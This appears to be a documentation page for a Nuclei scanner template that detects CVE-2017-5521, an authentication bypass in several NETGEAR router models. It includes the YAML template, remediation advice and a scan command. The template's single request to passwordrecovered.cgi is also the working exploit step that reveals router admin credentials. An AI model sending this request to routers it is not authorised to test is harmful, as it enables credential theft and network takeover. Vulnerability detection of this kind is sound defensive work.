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NETGEAR Routers - Authentication Bypass

ID: CVE-2017-5521

Severity: high

Author: princechaddha

Tags: cve,cve2017,auth-bypass,netgear,router,kev

Description

Section titled “Description”

NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.

YAML Source

Section titled “YAML Source”
id: CVE-2017-5521


info:
  name: NETGEAR Routers - Authentication Bypass
  author: princechaddha
  severity: high
  description: |
    NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
    - http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5521
    - https://www.exploit-db.com/exploits/41205/
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-5521
    cwe-id: CWE-200
    epss-score: 0.97402
    epss-percentile: 0.99921
    cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: r6200_firmware
  tags: cve,cve2017,auth-bypass,netgear,router,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "right\">Router\\s*Admin\\s*Username<"
          - "right\">Router\\s*Admin\\s*Password<"
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402207975c4f6a07644f1b5e719fdb616932a3b3ca4940fd254afa0d1a3581fdf06450220734a888d582d256794b76072ba9218c1a73ff6795d590ed3f0aae488d90f9d1f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-5521.yaml"

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